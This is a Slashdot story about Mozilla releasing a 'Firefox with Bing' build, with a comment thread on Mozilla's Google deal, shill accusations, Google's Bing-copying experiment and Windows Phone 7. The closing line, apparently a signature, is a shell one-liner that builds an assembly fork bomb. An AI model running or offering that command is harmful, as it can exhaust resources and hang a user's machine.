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Official "Firefox With Bing" Released
MrSeb writes "Mozilla is now distributing a version of Firefox that uses Bing as the default search provider instead of Google. Rest assured that this is a joint project, though: the creatively-named Firefox with Bing website is run by Microsoft, and both Mozilla and MS are clear that this is a joint venture. Now, don't get too excited — the default version of Firefox available from Mozilla.com is still backed by Google, and there's no mention of an alternative, Bingy download anywhere on the site — but it's worth noting that Mozilla has been testing Bing's capabilities using Test Pilot over the last couple of months, and the release of Firefox with Bing indicates that Mozilla is now confident in Bing's ability to provide a top-notch service to Firefox users. Mozilla might be readying a large-scale switch to Bing when its current contract with Google expires in November."
More astroturfing from TechLA.
.. or that MicroSoft wrote a decent check to Mozilla to start distributing Firefox with Bing as well.
Attitudes make the difference between Space and Time: we want to MAX our temporal, and MIN our spatial extension.
But when that competitor is Microsoft the metagame changes. MS is famous for doing a little of everything, so they're always Fourth in a market, trying to look like "underdogs" while they still have the fading WinOffice monopoly.
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
Check out his history, it pretty much confirms Radres' claim.
The whole point of that version is, "Microsoft paid Mozilla enough to release a Binged version of Firefox".
Most of Mozilla's income comes from Google paying Mozilla for every time someone searches Google using the Firefox start page or the search bar.
Last time he popped up it was with another huge wall of copy paste garbage for WinPhone.
Every move that Mozilla has made lately has done nothing but piss off their long-time users.
First it was not fixing the memory usage and performance problems that have plagued Firefox for years now. This is something that users keep begging Mozilla to fix, but it never happens. Firefox is always slower than Chrome, Safari, Opera and now even the more recent versions of IE!
Then there are the Firefox UI changes they've made with recent releases that only make it so much harder to use Firefox. Please bring back the menus! Please bring back the status bar! Please show the protocol in the URL bar again! Please reverse any design decision made by a so-called "UI designer". They don't help usability! Hell, even Thunderbird has been affected by this crap.
Recently they went all silly with the version numbering and the release schedules. Now Firefox is unusable for enterprise users, and home users are getting damn confused with what version they are using or should be using. It doesn't help that extensions break very often now, too.
Now there's this Bing nonsense.
Why does Mozilla go out of their way to ignore their users? Why do they go out of their way to mess with these projects that don't actually fix any of the serious problems that users point out time and time again, for years and years?
My guess is this is a shot across the bow of Google. Letting Google know that it's pretty easy for them to switch the default search traffic to Bing is just good business. I'm sure Microsoft is going to be bidding pretty heavily to get Firefox's search user base.
In the end it's just going to keep Google honest and make sure they pay a fair price for the search traffic Firefox sends them. I think Google pays something like $60 or $70 million a year for all the Firefox user searches. That's chump change to someone like Google. I suspect after this, the next contract renewal might be a higher number.
Phew! I had seriously doubted that Microsoft had a hand in this.
Mozilla and MS are clear that this is a joint venture
RIP Mozilla
Nope, just shills who copy paste in a wall of marketing drivel.
I like how you make excuses too, just like a shill. You could not even stick with your hate of products, you had to make excuses.
I'm more confused about what is said over why it is said.
A good thesis has three parts: Who, What, and Why
Now, I see plenty of who and what, but no why.
"This is also the reason why Google is struggling in non-western world like China and Russia. They didn't get there by the time internet got wider usage, so they cannot get market share now." -- really? A company that doesn't like censoring and tried to find ways to not censor legally does not get common usage in a country that loves to censor? I'm talking about china and their homegrown Baidu as an example.
Saying that Microsoft started from an underdog position is fallacy. There were other search companies before Google existed and Microsoft didn't see any need to compete then. They made Google their enemy after they realized that there is a market for information. Just because they were late doesn't mean it is Google's fault. Maybe it was the lack of foresight with the internet? If memory serves me right, Windows 95 did not have WinSock at release and had to be installed with modem software.
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Related to the article though, I find the whole thing all-in-all pointless. They are giving food to the enemy here, and that is under the assumption that people choose the browser by choice of the default search engine. I can only assume they really want to get a foothold to edge out some of Google's territory down the road.
To Firefox
To Ubuntu
DuckDuckGo is more in line with Mozilla's Manifesto in that it:
I must admit I haven't really used Bing much until I read this article. Just as a test today I set my default search engine to Bing and it's surprisingly decent! It's a very decent alternative to Google now. Seeing as Microsoft loses money on search I don't mind using it either.
With Google being as big as it is, and having it's finger in EVERYTHING, makes me nervous. Having a viable alternative just serves to keep them honest.
I love google as a company. I love android, I love gmail, and I love google calendar. I use and heavily rely on all three.
However google's search engine as of recent is very disappointing, largely as a result of a few so called "fixes."
Google recently did away with the ability to add + before a word to prevent from using synonyms for that word, so when you want to do a literal search for anything, you MUST surround it in quotes. Very annoying.
I've been finding that as of late, google appears to be omitting some kewords from my search. The page summary doesn't include some of the words, and worse is that when you go to the page, and hit ctrl-f, you can't even find one of the omitted keyword! Frustrating as hell.
The most annoying, is when you type a search term with google instant, and sometimes when you arrow back to inline edit your search while instant is coming up, or if you accidentally move the mouse over one of the search suggestions, it removes your original search and replaces it with one of the search suggestions, causing you to have to re-type the whole thing! And turning off google instant isn't a reliable solution, because when you lose the cookie, or move to a computer that doesn't have one, you have to go and turn it off again.
I've been using bing lately and thankfully it doesn't suffer from these problems. I'd like to go back to google, but until they can solve these problems I'll be using bing for a while.
Careful with names containing L slashdot.org/~AiphaWolf_HK slashdot.org/~AlphaWoif_HK slashdot.org/~AiphaWoif_HK
I have a hard time caring about this. The default is download is Google. An alternate download site offers Bing. Either way, the default is easy to change, who cares? Change is good. Embrace it.
Mooniacs for iOS and Android
Well, one thing I like about Bing is the bird's eye view maps. They're far more useful than Google's satellite view when I'm looking at large properties, or doing architecture models to scale. Guess that makes me an MS shill.
your thin skin doesn't make me a troll
I've been accused of shilling for very many companies just because I commented something positive about them
Since you pretty much only post positive stories about MS - nice, big, semi-articulate stories, as opposed to two sentence rants - yeah, you're a shill, and lying about it. Must be a sucky job, be paid to lie repeatedly.
Those who can, do. Those who can't, sue.
Oh yeah, Microsoft having a monopoly on desktop computing and office suites is such an underpowered position to start from..
The real reason they're failing is because IE is still fucking lame. I prefer the IE6 UI over the crap that they have in 7 and up. And no, I don't use IE6.
I used to reorganise FFs toolbar to tidy it up. Chrome actually had things set up exactly the same as my FF custom arrangement by default, only without a search bar or menu to waste space. As soon as it had adblock, I was there.
When MS start showing that they have a clue about UIs (and web standards), I might start caring. Win7's task dock thing is nice enough, and they finally caught up to Unix with users being able to run unprivileged by default and boost to root only when necessary - but all the control panels are a mess. Ribbonised apps are an even bigger mess. I get that MS are trying, but they're kind of like a braindamaged person brute forcing a puzzle, trying all of the different shaped pegs in different orientations, only managing to get one through the hole every now and then by sheer bloody mindedness.
which is totally what she said
Google create a fake query and it showed up on Bing. You and TechLA are a obviously shills. The only people in the tech world that believes google made this up is you
From Google:
We created about 100 “synthetic queries”—queries that you would never expect a user to type, such as [hiybbprqag]. As a one-time experiment, for each synthetic query we inserted as Google’s top result a unique (real) webpage which had nothing to do with the query. Below is an example:
To be clear, the synthetic query had no relationship with the inserted result we chose—the query didn’t appear on the webpage, and there were no links to the webpage with that query phrase. In other words, there was absolutely no reason for any search engine to return that webpage for that synthetic query. You can think of the synthetic queries with inserted results as the search engine equivalent of marked bills in a bank.
We gave 20 of our engineers laptops with a fresh install of Microsoft Windows running Internet Explorer 8 with Bing Toolbar installed. As part of the install process, we opted in to the “Suggested Sites” feature of IE8, and we accepted the default options for the Bing Toolbar
We asked these engineers to enter the synthetic queries into the search box on the Google home page, and click on the results, i.e., the results we inserted. We were surprised that within a couple weeks of starting this experiment, our inserted results started appearing in Bing. Below is an example: a search for [hiybbprqag] on Bing returned a page about seating at a theater in Los Angeles. As far as we know, the only connection between the query and result is Google’s result page (shown above).
i've used mozilla stuff since 2002. i used mozilla then pheonix then firefox. i was around for the good and the bad but this tears it. seriously, it seems like 2011 is the year of bat shit crazy decisions over at mozilla. nay, 2011 is the year of bat shit crazy decisions at mozilla. all mozilla has done lately is follow everything chrome does and now this! what is this, google envy?
the people steering mozilla need a swift kick in the pants because they are acting like a drunken bard out on sunset boulevard. (i would like to apologize to all the drunken bards on sunset boulevard that i may have offended.)
Anons need not reply. Questions end with a question mark.
You thought wrong.
Did you actually read the article you linked to? Microsoft denies it, yes, but the article seems to come up with the same conclusion, that they did use Google to get some of their results (obviously, they can't use Google for **all** their results, because they'd lose their #1 ranking for many of their own internet properties, not something that they would want).
Just read the quote from Bing's Vice President, Harry Shum, on that very same article you linked to. His denial is so guarded, tangential, and so carefully well-crafted, that it's not telling us anything of what really happened. His failed attempt at obfuscation is pretty damning. If you ask me, he should just have kept his mouth shut.
The USER is voluntarily submitting that data.
What data? The result provided by a third-party search engine. Doing it that way is just a way to cover their legal asses - it doesn't fundamentally change what they were doing.
Fact is, they don't need such techniques to track searches on Bing, since they control the website and can put the tracking there (and which would track *every* Bing search, not only Toolbar ones).
Therefore, the only reason to track through the Toolbar is to take advantage of the results provided by other engines.
Dilbert RSS feed
Firefox is suffering from a decline in market share, over fixable technical issues, massive memory leaks, and you spend your time making firefox with bing? Not to mention that the last few releases have been nothing but cheap knock offs of chrome. I want my browser back!
"People don't want to learn linux" hasn't been a valid excuse since '03.
I take it you haven't used Bing lately, probably the only advantage that I see to Google is that Google has more granularity with the bots. In practice, I don't typically notice that results from things I'm looking for are reliable when they're less than a day or two old anyways, as they're frequently unanswered posts or in progress.
When I experimented with Bing, I found that the quality was pretty similar to what Google was offering, by which I mean it sucked just as much. I've since moved over to duckduckgo.com which seems to do better than either one in most cases.
Yes, let's. I'm a butt hair away from wiping Firefox from my life. Bing is junk that must be forced on people. We use Google because it works and always has. There is no reason to use Bing. Google may have some black marks on them but nothing compared to the declining Microsoft and their childish practices. There are some good people that work at Microsoft. Unfortunately they are hemmed in by the over riding crap ass government-like culture of isolated departments and divisions that is Microsoft. For all the good things that have come from Microsoft the same things would have emanated from humans anyway. When it is all said and done Microsoft will be noted as a sad lament in the history of technology--nothing more.
I object to power without constructive purpose. --Spock
And that having an alternative lined up puts Mozilla in a stronger bargaining position for any new Google contract negotiations.
Boffoonery - downloadable Comedy Benefit for Bletchley Park
...always looking for another dog to tie bricks to the head of...
Bing sucks. (That's a period at the end of the previous statement.)
This is a hacked account, for which the owner can not be held responsible.
about:config -> browser.urlbar.trimURLs = false
Boom, done. Was that so hard to Google?
Ha, I've been very pro Microsoft in the past - all my machines run Windows and all my smartphones run Windows Mobile.
However Windows Phone 7 a complete disaster. It can't run old applications. People wanting to port C/C++ applications to it need to rewrite completely in managed C# or apply for a special pass from Microsoft to use native code. Microsoft's market share is dropping like a rock as Windows Mobile users move to Android instead of Windows Phone 7. Actually the application I most depend on on Windows Mobile - Pleco - works on Windows Mobile and iPhone and has a beta that runs on Android. It's never going to support Windows Phone. Even if Microsoft gave them a native code pass Pleco have said that they won't support WP7 unless everyone gets native code rights -
http://www.plecoforums.com/viewtopic.php?p=19990&sid=8d1f4894881d1b4653a82de2614656f8#p19990
gato wrote:
The rumor is that other companies are also getting special privileges. The Spotify music service has been announced for Windows Phone 7, but it is hard to believe that the music will stop whenever the user switches task. One attendee told me that the Windows Phone 7 native code framework is called Iris, is based on what was used for the Zune music player, and is used by Microsoft as well as by Spotify. He added that major games developers will also be allowed to use native code.
Neither Apple nor Google have stooped as low as giving big developers the tools to make their apps significantly better / faster / more feature-rich than small developers'; if this is true, it's basically the mobile app equivalent of (not having) net neutrality, give the big guys everything they want and shut the little guys out. Microsoft might be able to make EA happy this way, but EA's iPhone games suck - if Microsoft wants to get the next Angry Birds or Flight Control or, for that matter, Pleco on WP7, they have to open up their native code APIs to everyone and not treat small companies like second-class citizens. Giving us access 6 months later isn't the same, either - if anybody gets to use a particular framework to develop shipping apps, then everybody should get access to that same framework; if it's not ready for prime time yet, release the beta version to everyone and only make it official once it is.
Windows Phone is a bizarre idea. You can move from Windows Mobile to WP7. None of your old applications work and the ones available on WP7 are far inferior because (for things like Pleco) they can't use third party libraries for things like OCR and handwriting recognition. Or you can move to Android. Most of the applications you liked on Windows Mobile have already been ported to Android. And the phones are cheaper and not at all locked down - all the custom Rom chefs have moved to Android already. You can tether and access the device as mass storage. You can sideload applications. I.e.Android is just like WinMo but not at all like WP7. And people like HTC who made your old WinMo handset have loads of Android devices but very few WP7 ones. It's almost like Microsoft want people to buy Android.
Last but not least they've pissed off their ISVs by telling them they can either rewrite fucking everything - something they don't need to do on Android and iPhone which have much better sales - or presumably pay/beg Microsoft for the right to use their old Windows Mobile code via a native code pass. Adobe are rumoured to have a native code pass for Flash. But given WP7's dire sales it seems like Adobe have decided that even with that it's not worth the bother of supporting WP7. I reckon WP7 will be killed of at some point like Zune and Kin - both of which were based on the same technologies and marketing team. By that point everyone that run custom applications or Roms on WinMo (and face it that was the only reason people bought Windows Mobile devices) will simply have moved over to Android and will be content there. So it's not like they'd be tempted back even if Microsoft release a back compatible successor to Windows Mobile.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;